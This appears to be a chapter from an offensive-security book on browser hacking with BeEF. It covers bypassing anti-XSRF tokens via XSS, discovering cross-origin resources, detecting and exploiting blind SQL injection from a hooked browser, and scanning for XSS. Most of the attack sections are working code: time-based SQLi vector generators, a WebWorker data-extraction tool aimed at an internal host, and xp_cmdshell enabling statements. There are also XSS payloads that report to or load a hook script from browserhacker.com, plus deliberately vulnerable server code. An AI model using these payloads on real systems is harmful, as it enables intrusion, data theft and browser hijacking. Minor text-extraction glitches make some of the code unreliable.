Anti-XSRF tokens really lower the exploitability of many web application vulnerabilities from the hooked browser. If you don’t control the target domain, you can’t read HTTP responses from cross-origins, and therefore there is no straight way to guess or determine the value of the anti-XSRF token. If you don’t have a valid token, you can still send a request, but it will be ignored or discarded.

Bypassing Anti-XSRF Tokens with Cross-site Scripting

Anti-XSRF tokens are designed to mitigate attacks involving Cross-site Request Forgery, but not those involving Cross-site Scripting. If the target web application is using anti-XSRF tokens, but you control the target origin with your hook, you can bypass this protective mechanism. As discussed in previous chapters, a single Cross-site Scripting vulnerability potentially allows an attacker full control over the affected origin.

An attacker controlling the origin will be able to retrieve the anti-XSRF token from the page containing the form and add it to the new malicious form. The attack will be successful because the correct token is used.

Cross-origin Resource Detection

In situations where fingerprinting a web application is not successful, it is still possible to detect cross-origin resources. However, this process will take more time and effort for the attacker. Under these circumstances, requests are sent cross-origin using educated guesses.

The structure of the target web application is not known, though various extrapolations can be confidently made. For example, the target web application will have a root directory and there might be login functionality under predictable directories using predictable parameter names.

Tools like DirBuster, created by James Fisher,13 use a list of common directories and files found on web applications to discover hidden directories. Although these tools require direct access to the web application, the same lists can be employed to discover cross-origin resources using different detection logic.

XSRF protective measures have a side effect that can reduce the reliability of cross-origin resource detection. When sound XSRF defenses are in place, the cross-origin responses from the web application contain minimal variability. This is less than ideal when employing this method for identification of resources. The Anti-XSRF tokens can also prevent some attacks launched at web applications from the hooked origin. XSRF protective measures need to be taken into account when attempting to pivot from a browser to increase the attack surface.

The previous chapters covered how to use IFrames to achieve persistence and deliver Social Engineering attacks to the user. These same techniques can now be extended to assist in discovering cross-origin resources.

Detecting Cross-origin Resources

The currently hooked origin may contain links to other origins with directories and parameters that could also be hooked. This is likely to be more useful if an internal wiki can be hooked because it might contain links to other internal web applications. Exploring an externally hooked origin has a low probability of producing results, but it is still worth looking at because it is a relatively simplistic process.

You can use the following code to enumerate, both same- and cross-origin, links and form actions in the current hooked page:

//discovers all HREF/form actions the FORM elements in the page,

//enumerates the ACTION attribute, and checks if the resource

//is same-origin –r or cross-origin.

function getFormActions(doc){

var formsarray = [];

var forms = doc.getElementsByTagName("form");

for next section.(var i=0; i < forms.length; i++){

var action = forms[i].getAttribute('action');

formsarray = formsarray.concat(action);

// emulates an A element: in this way isSameOrigin()

// can be called in the same way for both A and FORM elements

var a = doc.createElement('a');

a.href = action;

console.log("Discovered form action: " + action

+ ". SameOrigin: " + isSameOrigin(a));

}

return formsarray;

}

// discovers all the A elements in the current page,

// enumerates the HREF attribute, and checks if the resource

// is same or cross-origin

function getLinks(doc){

var linksarray = [];

var links = doc.links;

for(var i=0; i<links.length; i++) {

var link = links[i];

linksarray = linksarray.concat(link)

console.log("Discovered link: " + link.href

+ ". SameOrigin: " + isSameOrigin(link));

};

return linksarray;

}

// checks if the resource is SameOrigin checking

// protocol, hostname and port

function isSameOrigin(url){

var sameOrigin = false;

if(url.hostname.toString() === location.hostname.toString() &&

url.port === location.port &&

url.protocol === location.protocol){

sameOrigin = true;

}

return sameOrigin;

}

getLinks(document);

getFormActions(document);

The preceding code retrieves all the a link elements available in the current document with the getLinks() function, and checks if the discovered resources are either same or cross-origin by calling the isSameOrigin() function. The same approach is used for form elements, where the actionattributes are enumerated. Because isSameOrigin() expects an a element, in order to use the same function for both links and forms, the form action value is used to dynamically create an a element:

var action = forms[i].getAttribute('action');

// emulates an A element: in this way isSameOrigin()

// can be called in the same way for both A and FORM elements

var a = doc.createElement('a');

a.href = action;

console.log("Discovered form action: " + action

+ ". SameOrigin: " + isSameOrigin(a));

Figure 9-10 shows the results of running the previous code snippet on a test page hosted at http://localhost/text.html with the following content:

<html><body>

<a href="http://www.beefproject.com">BeEF Project</a><br />

<a href="http://ha.ckers.org/">ha.ckers.org </a><br />

<a href="http://localhost:8080/login">Login</a><br />

<a href="/demos/butcher/index.html">BeEF hook</a><br />

<form action="http://browserhacker.com"></form>

<form action="//browserhacker.com:9090/login"></form>

<form action="/login"></form>

</body></html>

Figure 9-10: Identifying cross-origin resources

image

Going a step further, you can also iterate over the arrays returned by the getLinks() and getFormActions() functions to retrieve all the same-origin resources with an XHR call. When such resources are returned, you can create a new Document object with the XHR response content, and call again the two functions to enumerate additional links and forms on the newly enumerated same-origin resources.

Let’s assume you want to retrieve the contents of the same-origin resource /demos/butcher/index.html. You can use the following code:

var xhr = new XMLHttpRequest();

xhr.open("GET", "/demos/butcher/index.html");

xhr.onreadystatechange = function () {

if (xhr.readyState == 4) {

try{

// creates a new Document from the XHR response

var doc = new DOMParser().parseFromString(

xhr.responseText, "text/html"

);

getLinks(doc);

getFormActions(doc);

}catch(e){}

}

}

xhr.send();

This code calls getLinks() and getFormActions() on the new Document created from the XHR response, contained in the doc variable. Note that DOMParser.parseFromString()14 is being used for this purpose. For browsers like Chrome and Safari that do not support parseFromString() usingtext/html as an input parameter, you can override the prototype of parseFromString() using the following polyfill from Eli Grey15:

(function(DOMParser) {

"use strict";

var DOMParser_proto = DOMParser.prototype

, real_parseFromString = DOMParser_proto.parseFromString;

// Firefox/Opera/IE throw errors on unsupported types

try {

// WebKit returns null on unsupported types

if ((new DOMParser).parseFromString("", "text/html")) {

// text/html parsing is natively supported

return;

}

} catch (ex) {}

DOMParser_proto.parseFromString = function(markup, type) {

if (/^\s*text\/html\s*(?:;|$)/i.test(type)) {

var doc = document.implementation.createHTMLDocument("")

, doc_elt = doc.documentElement

, first_elt;

doc_elt.innerHTML = markup;

first_elt = doc_elt.firstElementChild;

if (doc_elt.childElementCount === 1

&& first_elt.localName.toLowerCase() === "html") {

doc.replaceChild(first_elt, doc_elt);

}

return doc;

} else {

return real_parseFromString.apply(this, arguments);

}

};

}(DOMParser));

Now armed with this code, you are able to enumerate both same and cross-origin resources on the current hooked page, and also on newly discovered same-origin resources. Such discovered information will be very handy when combined with attacks that are covered in the following sections.

Cross-origin Web Application Vulnerability Detection

Obviously, the SOP limits many kinds of attacks. However, as we know, where there is a will, there is a way. Various techniques exist to get around these limitations by using attack techniques that work cross-origin without violating the SOP.

Examples of these techniques are discussed in the following section. These include how to identify Cross-site Scripting and SQL injection vulnerabilities from a hooked browser (in a different origin than the target).

SQL Injection Vulnerabilities

SQL injection, or SQLi, vulnerabilities arise when you are able to alter the SQL statements sent from the web application to the database. We won’t be providing too much analysis into SQL injection attacks, however two recommended resources on the topic are The Database Hacker’s Handbook16 and Justin Clarke’s SQL Injection Attacks and Defense.17

Conventional SQL Injection Detection

SQL injection attacks can be classified into different categories depending on the nature of the bug. Usually injections can be differentiated depending on the kind of data returned in the HTTP Response. If a SQL error like the following is returned, you have an error-based SQLi:

You have an error in your SQL syntax; check the \

manual that corresponds to your MySQL server version \

for the right syntax to use near ''' at line 1

In some circumstances the web application may not return any errors at all, even if the SQL statement contains errors. This category of SQLi is usually called a Blind SQLi, because you don’t receive any errors back from the database or application (hence the name).

In these situations, you can usually still detect if the SQLi affects a specific resource by detecting differences in HTTP responses between the normal request and a malicious one. These differences are usually of two types. One is a different Content-Length, resulting in changes on the content returned with the response body. The second type is a different response time, where, for instance, the normal response is sent after 1 second, whereas the malicious request generates a 5-second delay. Consider the following Ruby code snippet, which is vulnerable to SQL injection:

get "/" do

@config = ConfigReader.instance.config

# gets the book_id paramater from the GET request

book_id = params[:book_id]

# MySQL connection pool

pool = Mysql2::Client.new(

:host => @config['db_host'],

:username => @config['restricted_db_user'],

:password => @config['restricted_db_userpasswd'],

:database => @config['db_name']

)

begin

if book_id == nil

@rs = pool.query "SELECT * FROM books;"

else

# if a specific book_id parameter is found

# do the following unsecure query

query = "SELECT * FROM books WHERE id=" + book_id + ";"

@rs = pool.query query

end

erb :"sqlinjection"

rescue Exception => e

@rs = {}

@error_message = e.message

erb :"sqlinjection"

end

end

If a GET request like /page?book_id=1' is sent to the handler in the code snippet, a database error similar to the one from earlier is returned. This is a very simple example of an error-based SQLi that can be exploited by submitting a vector like the following, which retrieves the MySQL database version:

/page?book_id=1+UNION+ALL+SELECT+NULL%2C%40%40VERSION%2CNULL%23

The final SQL statement was altered by concatenating UNION ALL SELECT NULL,@@VERSION,NULL to the existing query of SELECT * FROM books WHERE id=1 by the attacker. The contrived web application query (query = "SELECT * FROM books WHERE id=" + book_id + ";") is insecure because the book_id parameter value is used in a string concatenation operation without performing any input validation. This (and the absence of Prepared Statements18) results in the application being vulnerable to SQL injection.

Consider another scenario, where the previous vulnerable code snippet is the same except for the removal of the bottom line (@error_message = e.message). If that line is removed, the SQL injection is still there but this time it is Blind.

Let’s assume you don’t have this knowledge already, and want to check if a resource is vulnerable to SQLi. Try sending the following GET request:

/page?book_id=1+AND+SLEEP(5)

You will notice an approximate 5-second delay on getting the HTTP response. Such a delay confirms the presence of the SQL injection because the SLEEP SQL statement was executed successfully.

This has been a very shallow exploration of SQL injection. If this wasn’t trivial for you to understand, it might be worth ramping up on these attack techniques prior to reading the next section.

Cross-origin Blind SQL Injection Detection

As discussed in the first section of this chapter, when using a cross-origin request you can still determine if the request was successful. You can also still infer details from the duration of the response.

The SOP prevents reading the response body of the cross-origin XMLHttpRequest, which means getting visibility of error-based SQLi isn’t an option from the hooked browser. However, you can utilize the timing of the cross-origin response with time-based SQL injection. This provides a method to get visibility of the cross-origin SQL injection results and thereby find and exploit SQL injection vulnerabilities.

You can use the following code snippet cross-origin to find web applications vulnerable to SQLi using time-delays. The code currently supports resources that can be accessed via GET, but can be easily adapted to support POST requests as well.

Only MySQL, PostgreSQL, and MSSQL are currently supported because they have time-delay SQL statements. As demonstrated by Chema Alonso,19 it would still be possible to induce time-delays with heavy queries. Also, further out-of-band confirmation could be used because Oracle supports functions to make HTTP and DNS requests:

beef.execute(function() {

// time-delay in seconds

var delay = '<%= @delay %>';

// target host/port

var host = '<%= @host %>';

var port = '<%= @port %>';

// target URL to scan

var uri = '<%= @uri %>';

// URL's parameter to scan, in the form key=value

var param = '<%= @parameter %>';

/*some vectors that should handle most injections.

* additional nested parenthesis could be added

* in case of nested joins. param and delay are

* placeholders replaced later in create_vector()

*/

var vectors = [

"param AND delay", "param' AND delay",

"param) AND delay", "param AND delay --",

"param' AND delay --", "param) AND delay --",

"param AND delay AND 'rand'='rand",

"param' AND delay AND 'rand'='rand",

"param' AND delay AND ('rand'='rand",

"param; delay --"

];

var db_types = ["mysql", "mssql", "postgresql"];

var final_vectors = [];

/* every DB has a different time-delay statement

* for Oracle/DB2 and other see Chema Alonso Heavy-queries research:

*/ http://technet.microsoft.com/en-us/library/cc512676.aspx

function create_vector(vector, db_type){

var result = "";

if(db_type == "mysql")

result = vector.replace("param",param)

.replace("delay","SLEEP(" + delay + ")");

if(db_type == "mssql")

result = vector.replace("param",param)

.replace("delay","WAITFOR DELAY '0:0:" + delay + "'");

if(db_type == "postgresql")

result = vector.replace("param",param)

.replace("delay","PG_SLEEP(" + delay + ")");

console.log("Vector before URL encoding: " + result);

return encodeURI(result);

}

// replace param and delay placeholders for supported db types

function populate_global_vectors(){

for(var i=0;i<db_types.length;i++){

var db_type = db_types[i];

for(var e=0;e<vectors.length;e++){

final_vectors.push(create_vector(vectors[e], db_type));

}

}

}

var vector_index = 0;

function next_vector(){

result = final_vectors[vector_index];

vector_index++;

return result;

}

var send_interval;

var successfulVector = "";

function sendRequests(){

var vector = next_vector();

var url = uri.replace(param, vector);

beef.net.forge_request("http", "GET", host, port, url,

null, null, null, delay + 2, 'script', true, null,

function(response){

// if the XHR response is effectively delayed, stop the process

// because a successfulVector injection has been found.

if(response.duration >= delay * 1000){

successfulVector = url;

console.log("Response delayed with vector [" +

successfulVector + "]");

clearInterval(send_interval);

}

});

}

// create all vectors for the supported DB types

populate_global_vectors();

/* determine normal response time, and adjust

* delay between requests accordingly

* (base response time + 500 ms */

var response_time;

beef.net.forge_request("http", "GET", host, port, uri,

null, null, null, delay + 2, 'script', true, null,function(response){

response_time = response.duration;

send_interval = setInterval(function(){

sendRequests()},response_time + 500); //can be adjusted

});

});

When the previous code is injected into a hooked browser, populate_global_vectors()is called and attack vectors are created according to the supported database types and the payloads listed in the vectors array. These payloads are not comprehensive, but should be enough for most attacks. You can of course add more of them, for example, closing more parentheses or using different boolean keywords, to cover situations where nested joins or very long and complex queries are performed.

The next step in your attack is sending a request without any attack vector, to monitor the normal response timing. This is important in order to adjust the time-delay for subsequent attack payloads, in case the target already takes several seconds to reply to normal requests. After the baseline response time has been determined, all the available attack vectors are sent with the sendRequests() function. Each XHR request is executed with a callback that checks for the response timing after the response arrives. If the response time is equal or bigger than the injected delay, it suggests the injection was successful and the time-based SQLi is confirmed. In Figure 9-11 and Figure 9-12, you can see what’s happening under the hood when the code snippet is injected in a browser hooked with BeEF.

Figure 9-11: Time delay of a successful SQLi attack

image

Figure 9-12: Logging of a successful SQLi attack

image

Cross-origin Blind SQL Injection Exploitation

Now you are able to determine which cross-origin resource is vulnerable to SQL injection, and also potentially which database is used. Armed with this information, you can now look to execute operating system commands or extrude database data.

Executing operating system commands largely depends on whether the database has been misconfigured, in particular those settings related to the level of permissions and privileges assigned to the current database user. If the database is running MSSQL, for instance, you can use thexp_cmdshell() stored procedure to execute commands within the operating system, potentially taking it over. Bear in mind, though, that the application’s database user must have the sysadmin role in order to use this stored procedure. As of MSSQL version 2005, this feature is disabled by default, although it can be re-enabled by calling the sp_configure() stored procedure.20

You can use the following MSSQL statements to check whether these stored procedures can be executed. Of course, they need to be formatted in the appropriate HTTP request to be smuggled to the database:

EXEC sp_configure 'show advanced options',1;RECONFIGURE

EXEC master..xp_cmdshell('ping –n 10 localhost')

The first request is needed in order to re-enable the xp_cmdshell() stored procedure in case it’s disabled. The second request is the one that should create a response time delay if the stored procedure is (or was) successfully enabled, and the user has the sysadmin role. In this example, the vector is inducing a time-delay by using the standard ping utility and pinging localhost 10 times, which should take approximately 9 to 10 seconds to complete. If you notice the expected delay, you can carry on executing other operating system commands.

Regarding data extraction, the previous code snippets could be updated by adding support for a binary extraction algorithm. This would be similar to those proposed by Chris Anley in his “Advanced SQL injection” paper21 and implemented in Sqlmap. For instance, to determine if the first bit of the first byte of the current database name is either 0 or 1, the following vector could be used in MSSQL environments:

declare @s varchar(8000) select @s = db_name() if (ascii(substring \

(@s, 1, 1)) & (power(2, 0))) > 0 waitfor delay '0:0:5'

If the response is delayed for 5 seconds, you can reliably determine the first bit is 1. The process would continue for the second bit of the first byte and so on, with the next vector being:

declare @s varchar(8000) select @s = db_name() if (ascii(substring \

(@s, 1, 1)) & (power(2, 1))) > 0 waitfor delay '0:0:5'

Data extraction with time-delays is obviously not optimal in terms of speed. You will end up sending hundreds or thousands of requests; to retrieve a word of 8 characters, you need 64 requests. Bear in mind you don’t have to proceed in a sequential way, waiting for a request to finish before sending the next one. In this case the asynchronous nature of XHR is very useful. You could use WebWorkers with a thread-like environment to speed up the data-retrieval process.

Consider the following example of a deliberately vulnerable ASP.NET application, which uses MSSQL 2008. It contains a SQL injection vulnerability in the book_id parameter value that can be exploited cross-origin. The C# server-side code is shown here:

public partial class _Default : System.Web.UI.Page{

// gets the SQLserver 2008 connection details for Web.config

protected SqlConnection dbConn = new SqlConnection(

ConfigurationManager.ConnectionStrings["sqlserver"].ToString()

);

protected void Page_Load(object sender, EventArgs e){

if(Request.QueryString["book_id"] != null){

// SQL query vulnerable to SQL injection

string sql = "SELECT * FROM books WHERE id = " +

Request.QueryString["book_id"];

SqlCommand cmd = new SqlCommand(sql, dbConn);

dbConn.Open();

// iterates through the results

SqlDataReader results = cmd.ExecuteReader();

string response = "";

while(results.Read()){

response += "<b>Book name:</b> " + results["name"] +

"<br><b>Book authors:</b> " + results["author"];

}

Response.Write(response);

results.Close();

dbConn.Close();

}

}

}

Like every ASP.NET application, this one uses a Web.config file, where the database connection details are specified:

<add name="sqlserver"

connectionString="server=localhost;

database=sql_InjEction_1234;uid=sa;password=Abcd-1234;"

providerName="System.Data.SqlClient"/>

</connectionStrings>

According to Microsoft Developer Network,22 and as briefly covered earlier in this chapter, if multiple WAITFOR statements are specified on the same MSSQL server, they will be run in separate threads. Unless the database server experiences thread starvation under circumstances of high load, multiple WAITFOR statements coming from different HTTP requests will all be executed as expected.

Not every database behaves in this way. It appears MSSQL is the only database to reliably support parallel time delays. Sqlmap completely disables multithreading when dealing with time-based blind SQL injection for this reason. However, parallelizing data retrieval with time-based blind SQL injection in MSSQL environments is possible, so stay tuned because it is covered later in this chapter.

The following code can be used to retrieve the current database name used by the vulnerable ASP.NET application. The code has two components: the code to be executed by each WebWorker, and the WebWorker controller. Each WebWorker executes the following code:

var uri, port, path, payload;

var index, seconds, position;

/* Configuration coming from the code that

instantiates the WebWorker (controller) */

onmessage = function (e) {

uri = e.data['uri'];

port = e.data['port'];

path = e.data['path'];

payload = e.data['payload'];

index = e.data['index'];

seconds = e.data['seconds'];

position = e.data['position'];

retrieveChar(index, seconds, position);

};

function retrieveChar(index, seconds, position){

var lowerbound = 1;

var upperbound = 127;

var index;

var isLastReqSleep = false;

var reqNumber = 0;

// if all requests do not delay, then we're querying

// an out of bound position.

var stringEndReached = true;

function doRequest(index, seconds, position){

if(lowerbound <= upperbound){

reqNumber++;

index = Math.floor((lowerbound + upperbound) / 2);

var enc_payload = encodeURI(payload + position + ",1))>" + index +

") WAITFOR DELAY '0:0:" + seconds + "'--");

// payload is something like: IF(UNICODE(SUBSTRING((SELECT \

// ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),

var xhr = new XMLHttpRequest();

var started = new Date().getTime();

xhr.open("GET", uri + ":" + port + path + enc_payload, false);

xhr.onreadystatechange=function(){

if(xhr.readyState == 4){

var finished = new Date().getTime();

var respTime = (finished - started)/1000;

/* Binary inference. With 7 requests per character we can determine

the character Decimal representation. If the request is not delayed

of at least N 'seconds', we can infer that the Decimal

representation of the character (let's say 115) is not greater than

'index' 127: IF(115>127) WAITFOR. Continue in the same way, changing

'index' to 63.

*/

if(respTime >= seconds){

lowerbound = index + 1;

if(reqNumber == 7) isLastReqSleep = true;

stringEndReached = false;

}else{

upperbound = index - 1;

}

/* Call doRequest() recursively*/

doRequest(index, seconds, position);

}}

xhr.send();

}else{

if(isLastReqSleep){

index++;

}

/* Notifies the WebWorker controller with the retrieved character

at the current position. If stringEndReached==true means we're

querying an out of bound position, and found the end of the data

we are retrieving */

postMessage(

{'position':position,'char':index,'end':stringEndReached}

);

self.close(); //close the worker

return index;

}

}

// starts sending requests

doRequest(index, seconds, position);

}

The code is using binary inference to retrieve the decimal representation of a character at the specified position. As you know, ASCII characters can have a value from 1 (SOH) to 127 (DEL). This covers lowercase and uppercase alphanumeric characters, including symbols. Using binary inference, you can retrieve every character of a string (in this case the database name) with seven iterations (seven requests). Adding some console.log() calls to the previous code, you will get the following output when searching for the first character of the database name, which in this case is s:

Response delayed. Char is > 64

Response delayed. Char is > 96

Response delayed. Char is > 112

Response not delayed. Char is < 120

Response not delayed. Char is < 116

Response delayed. Char is > 114

Response not delayed. Char is == 115 -> s

The first HTTP cross-origin request will point to the following URL, because you need to retrieve the first character of the database name:

http://172.16.37.149:8080/?book_id=1%20IF(UNICODE(SUBSTRING(

(SELECT%20ISNULL(CAST(DB_NAME()%20AS%20NVARCHAR(4000)),

CHAR(32))),1,1))%3E64)%20WAITFOR%20DELAY%20%270:0:2%27--

The response, as you can read from the previous console.log() output, will be delayed, because 115 > 64. The process continues until lowerbound <= upperbound, meaning that there are no more iterations to do, because 115 < 116 and also 115 > 114, so the final character is 115. When theWebWorker has finished, it communicates back to its parent controller the results using postMessage():

postMessage({'position':position,'char':index,'end':stringEndReached});

Every WebWorker is responsible for retrieving a single character at a specified position. Starting workers and verifying their results is a task done by the following controller code:

if(!!window.Worker){

// WebWorker code location

var wwloc = "http://browserhacker.com/time-based-sqli/worker.js";

// to init WebWorker

var uri = "http://172.16.37.149";

var port = "8080";

var path = "/?book_id=1";

var payload = " IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME()" +

" AS NVARCHAR(4000)),CHAR(32))),";

var timeDelay = 2; // seconds to delay the response

var position = 1;

// Array holding the retrieved chars

var dbname = [];

var dbname_string = "";

// internal vars

var dataLength = 0;

var workersDone = 0;

var successfulWorkersDone = 0;

// Number of WebWorkers to spawn in parallel

// (1 WebWorker handles 1 char position)

var workers_number = 5;

// every 1 second calls checkComplete()

var checkCompleteDelay = 1000;

var start = new Date().getTime();

/* Iterates through dbname, converting characters

from Decimal to Char representation */

function finish(){

dbname.shift(); // removes the first 0 index

for(var i=0; i<dbname.length; i++){

dbname_string += String.fromCharCode(dbname[i]);

}

console.log("Database name is: " + dbname_string);

var end = new Date().getTime();

console.log("Total time [" + (end-start)/1000 + "] seconds.");

}

/* Spawn new WebWorkers to handle data retrieval at 'start' position */

function spawnWorkers(start, end){

for(var i=start; i<=end; i++){

// using eval to create WebWorker variables dynamically

eval("var w" + i + " = new Worker('" + wwloc + "');");

/* When we get a message from a WebWorker, check which character

at which position has been retrieved, and add it to the 'dbname'

Array. If the message contains 'end' it means the WebWorker was

querying an out of bound position (potentially 'dataLength')*/

eval("w" + i + ".onmessage = function(oEvent){" +

"var c = oEvent.data['char'];var p = oEvent.data['position'];" +

"workersDone++;" +

"if(oEvent.data['end']){if(dataLength==0){dataLength=p-1;}; " +

"if(dataLength !=0 && dataLength > (p-1)){dataLength=p-1;};}else{" +

"successfulWorkersDone++;" +

" console.log('Retrieved char ['+c+'] at position ['+p+']');" +

"dbname[p]=c; console.log('Workers done [' + workersDone + ']." +

" DataLength ['+dataLength+']');}}; ");

eval("var data = {'uri':'" + uri + "', 'port':" + port +

", 'path':'" + path +"', 'payload':'" + payload +

"', 'index':0,'seconds':" + timeDelay + ",'position':" + i + "};");

eval("w" + i + ".postMessage(data);");

position++;

}

}

/* Every N seconds (defined in 'checkCompleteDelay') check if

WebWorkers have completed, and eventually spawn more of them,

or call finish()*/

function checkComplete(){

if(workersDone == workers_number){

console.log("Successful workers done ["+successfulWorkersDone+"]");

/* all spawned workers are complete, check if we reached dataLength,

or spawn more dataLength == 0 means we still need to identify the

length of the data to be retrieved */

if((dataLength != 0 && successfulWorkersDone !=0)

&& successfulWorkersDone == dataLength){

console.log("Finishing...");

clearInterval(checkCompleteInterval);

finish();

}else{

// spawn additional workers

console.log("Spawned other [" + workers_number + "] workers.");

workersDone = 0;

spawnWorkers(position, position+(workers_number-1));

}

}else{

console.log("Waiting for workers to complete..." +

"Successful workers done ["+successfulWorkersDone+"]");

}

}

// first call

spawnWorkers(position, workers_number);

var checkCompleteInterval = setInterval(function(){

checkComplete()}, checkCompleteDelay);

}else{

console.log("WebWorker not supported!");

}

The target is an internal network web application available at 172.16.37.149:8080. After identifying that the base HTTP response time for the / resource is always less than 0.2 seconds, you can be confident using a time delay of 2 seconds (timeDelay variable). The number of workers used in parallel defaults to 5, but can be altered using the workers_number variable. The code executed by each WebWorker needs to be loaded from the same-origin that loads the controller code, and can be configured through the wwloc variable.

When spawnWorkers() is called, initially with position 1 (because you need to retrieve the first character of the database name), it creates five WebWorkers. Each worker focuses on retrieving the character at a specified position. The first works on position 1, the second on position 2, and so on. At the same time, the checkComplete() function is called every second. This function is responsible for checking how many workers completed their jobs successfully, and if the end of the database name was reached.

One way to discover the length of the data to be retrieved is to issue seven requests for an out-of-bounds position, and check if they were all delayed. MSSQL doesn’t allow null characters in the database names, so this makes the process more straightforward. In this case the length of the database called sql_InjEction_1234 is 18, so if all the seven requests to retrieve the character at position 19 are not delayed, it means you have reached the end of the data.

More workers are spawned until dataLength is known. When dataLength has been discovered, and all workers completed, the interval used to call checkComplete() is cleared, and the database name value is reconstructed. The dbname array contains all the retrieved characters in their decimal representation. You just need to iterate through it and call String.fromCharCode(char) to have the string representation. This task is executed by the finish() function.

The result of executing this technique with five workers in parallel, using time delays of 2 seconds, and having a base response time of 0.2 seconds, can be seen in Figure 9-13. In just 44 seconds, the database name is retrieved.

Figure 9-13: Five WebWorkers retrieving database name in Chrome

image

Trying the same with 10 workers reduces the total retrieval time to 30 seconds, as you can see in Figure 9-14.

Figure 9-14: Ten WebWorkers retrieving database name in Firefox

image

Starting Sqlmap with the same time-delay settings as the cross-origin demonstration earlier, it takes almost 140 seconds to retrieve the same results:

./sqlmap.py -u "http://172.16.37.149:8080/?book_id=1"

-p book_id --dbms "mssql" --technique T --time-sec=2

-v 3 --current-db --threads 5

[19:53:56] [DEBUG] performed 151 queries in 139.56 seconds

current database: 'sql_InjEction_1234'

Although five threads are specified, Sqlmap disabled multithreading when dealing with time-based blind SQL injection. All the requests are effectively sent in sequential order.

Additionally, if you are controlling a browser in the internal network while targeting an internal web application, the communication latency will be less and the reliability will be higher. This means you can reduce the time-delay used in the SQL to get better efficiencies on discovery and data egress.

Taking this to the next level, you could even split the job of sending requests to the same target and reconstructing bytes across multiple hooked browsers. You can then reconstruct, on the server-side, data arriving from the browsers. The full code of the distributed time-based SQL injection can be found on https://browserhacker.com.

In this section, you have explored techniques to exploit SQL injection vulnerabilities. Now, you will examine Cross-site Scripting vulnerabilities and how you can exploit these from the browser.

Detecting Cross-site Scripting Vulnerabilities

Cross-site Scripting (XSS) vulnerabilities were analyzed in Chapter 2, providing examples of instances of this bug category in real-life web applications. This section now focuses on detecting XSS vulnerabilities entirely from the hooked browser.

Cross-origin Blind Cross-site Scripting Detection

There are two actions that you need to be able to perform to discover XSS vulnerabilities from a cross-origin position. You need to be able to send the attack, and then determine if the attack was successful.

After discovering the http://192.168.1.1/chapter?id=1 URL using the method outlined in the previous sections, the next step is checking if the id parameter is vulnerable to XSS. To achieve this, load the URL in an IFrame, and append a classic XSS string to the parameter value. The result will be:

<iframe src="http://192.168.1.1/chapter?id=1

%3Cscript%3Ealert(1)%3C%2Fscript%3E">

When this IFrame is appended to the hooked-page DOM, the cross-origin URL is loaded. If the resource is vulnerable to either Reflected or Stored XSS, there will potentially be a pop-up. Obviously you need a way to know if your XSS vector is triggered or not. Because the IFrame is injected in a hooked page, you can’t directly see the pop-up. In fact, it will be the victim that would see it, and if one of your objectives is stealth you definitely don’t want this to happen!

This idea of identifying XSS flaws by loading resources to be tested in IFrames was expanded by Gareth Heyes in 2009, with the creation of XssRays.23 XssRays is a pure JavaScript XSS scanner. In a nutshell, XssRays retrieves all the links and forms of a web page, and loads all these discovered resources in IFrames appending XSS vectors to both the resource paths and its parameters.

Back in 2009, it was possible to achieve child-to-parent IFrame communication using the URI fragment identifier (#), even in cross-origin scenarios. Nowadays, modern browsers have patched this vulnerability. In fact, you may class this flaw as an SOP violation issue because, according to the SOP, a cross-origin resource loaded into an IFrame shouldn’t be able to communicate with the top-level window.

The fact that XssRays was written entirely in JavaScript makes it a good candidate to be used directly from the hooked browser itself. It’s possible to use the old XssRays logic in modern browsers by replacing the use of the patched fragment identifier bypass. The new payload needs to have a more sophisticated, SOP-friendly approach. That is, when a successful XSS vulnerability is discovered, the attacker needs to be notified without conflicting with the SOP.

The new payload updates the IFrame location to a resource known by the attacker, for example a handler on your server. Revisiting the previous example, the new vector will look like:

<iframe src="http://192.168.1.1/chapter?id=1%3Cscript%3Elocation%3D'http%3A

%2F%2Fbrowserhacker.com%2Fxssrays%3Fdetails%3D....'%3C%2Fscript%3E">

If the attack is executed successfully, a GET request will be created pointing to the http://browserhacker.com/xssrays resource, together with details about the XSS vulnerability. This approach produces results devoid of false positives, because the handler on the server will only receive a GETrequest if the instructions were executed. The vulnerability must have already been exploited for the notification to occur.

The improved variant of XssRays is included in BeEF, and its logic can be injected into a hooked browser to check both same and cross-origin resources for XSS vulnerabilities. Figure 9-15 shows a diagram that walks through how XssRays works in BeEF:

Figure 9-15: XssRays’ high-level architecture

image

There is no reason why XssRays could not be used same-origin to discover XSS vulnerabilities. However, this will be of limited value because you can access the entire origin without butting up against SOP restrictions anyway. An XSS vulnerability same-origin doesn’t necessarily provide more advantage when trying to move around an infrastructure.

Cross-origin detection of XSS vulnerabilities can be particularly useful through expanding the attack surface. The indirect exploitation of XSS vulnerabilities on a web server not routable from the Internet can be very valuable to you. The new target may have been assumed inaccessible by the organization and, as a result, have an immature security posture.

If you are able to find an XSS vulnerability in a cross-origin resource, nothing prevents you from hooking a browser in the context of that resource as well. Depending on your needs, you can either load it inside a hidden IFrame in the already hooked page, or open a new pop-up/pop-under window as discussed in Chapter 3. You will explore hooking the newly covered origin in the following sections.

Hiding your IP address on the Internet is another advantage of cross-origin detection of XSS vulnerabilities. The resources are not loaded from the attacker’s location, but they are loaded from the hooked browser. This results in the target’s IP address being logged by the web application. Remember, this characteristic applies to every activity performed from the hooked browser, which is the beachhead for launching (mostly) anonymous attacks.

Cross-origin Blind Cross-site Scripting Exploitation

Currently you have one hooked origin via a hooked browser that resides on the internal network. Let’s assume this initial origin is accessible via the Internet. You have also detected a non-routable web application with an XSS vulnerability. Your next step is to gain access to the origin, which is actually quite simple.

All that is needed is another hook within the newly discovered origin. It is important not to confuse hooked browsers with hooked origins. A hooked browser must have at least one hooked origin and a hooked origin must have at least one hooked browser. It is common for this to be a one-to-one mapping. You may have hooked an origin in the victim browser, which means you have one browser and one origin hooked. If you were to create a hooked IFrame (within the DOM of the previously hooked origin) to another origin, that would mean two origins are hooked within the same browser. Hooking two browsers (or more) on the same-origin is also possible. This is what happens when a framework hooks multiple browsers via an XSS vulnerability.

Let’s delve into the process of gaining access to the new origin. Following on from the previous XssRays example, hooking the http://192.168.1.1/chapter?id=1 vulnerable resource inside a hidden IFrame with BeEF is performed by executing the following two lines of JavaScript:

var i = beef.dom.createInvisibleIframe();

i.setAttribute(

'src',

"http://192.168.1.1/chapter?id=1"+

"<script src='http://browserhacker.com/hook.js'></script>");

